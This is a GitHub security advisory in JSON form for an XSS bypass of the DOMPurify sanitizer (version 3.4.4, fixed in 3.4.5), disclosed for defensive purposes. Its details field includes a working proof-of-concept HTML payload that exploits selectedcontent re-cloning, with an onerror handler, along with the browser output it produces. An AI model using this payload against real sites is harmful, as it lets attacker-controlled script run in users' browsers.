-
Notifications
You must be signed in to change notification settings - Fork 652
Expand file tree
/
Copy pathGHSA-87xg-pxx2-7hvx.json
More file actions
72 lines (72 loc) · 3.51 KB
/
Copy pathGHSA-87xg-pxx2-7hvx.json
File metadata and controls
72 lines (72 loc) · 3.51 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
{
"schema_version": "1.4.0",
"id": "GHSA-87xg-pxx2-7hvx",
"modified": "2026-06-01T14:07:29Z",
"published": "2026-06-01T14:07:29Z",
"aliases": [
"CVE-2026-47423"
],
"summary": "DOMPurify XSS via selectedcontent re-clone",
"details": "### Summary\nDOMPurify 3.4.4 allows `selectedcontent` by default, allowing a chain in which browsers \"re-clone\" an XSS payload after sanitization, effectively bypassing DOMPurify. \n\n### Details\nThe chain is as follows:\n1. The browser parses the input and creates a `<selectedcontent>` clone from the selected `<option>`\n2. DOMPurify walks and sanitizes that generated clone.\n3. DOMPurify reaches the original `<option>` and removes `selected=javascript:1`\n4. The browser refreshes the `<selectedcontent>` clone from the original `option`'s content.\n5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize\n6. The returned string contains unsanitized markup inside `<selectedcontent>`.\n\n### PoC\n```js\nconst dirty =\n '<select><button><selectedcontent></selectedcontent></button>' +\n '<option selected=javascript:1>' +\n '<img src=x onerror=alert(1)>x' +\n '</option></select>';\n\nconst clean = DOMPurify.sanitize(dirty);\nconsole.log(clean);\n\ndocument.body.innerHTML = clean;\n```\n\nObserved \"sanitized\" output in Chromium 148/WebKit 625:\n```html\n<select><button><selectedcontent><img src=\"x\" onerror=\"alert(1)\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nAfter reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the `onerror` has already fired:\n```html\n<select><button><selectedcontent><img src=\"x\">x</selectedcontent></button><option><img src=\"x\">x</option></select>\n```\n\nReproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with [browser support](https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for `selectedcontent`.\n\n### Impact\nThis is a default-configuration DOMPurify sanitizer bypass resulting in XSS.\n\nApplications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N"
}
],
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "3.4.4"
},
{
"fixed": "3.4.5"
}
]
}
],
"versions": [
"3.4.4"
]
}
],
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-87xg-pxx2-7hvx"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.5"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify/tree/3.4.5"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/dompurify/v/3.4.5"
}
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"severity": "HIGH",
"github_reviewed": true,
"github_reviewed_at": "2026-06-01T14:07:29Z",
"nvd_published_at": null
}
}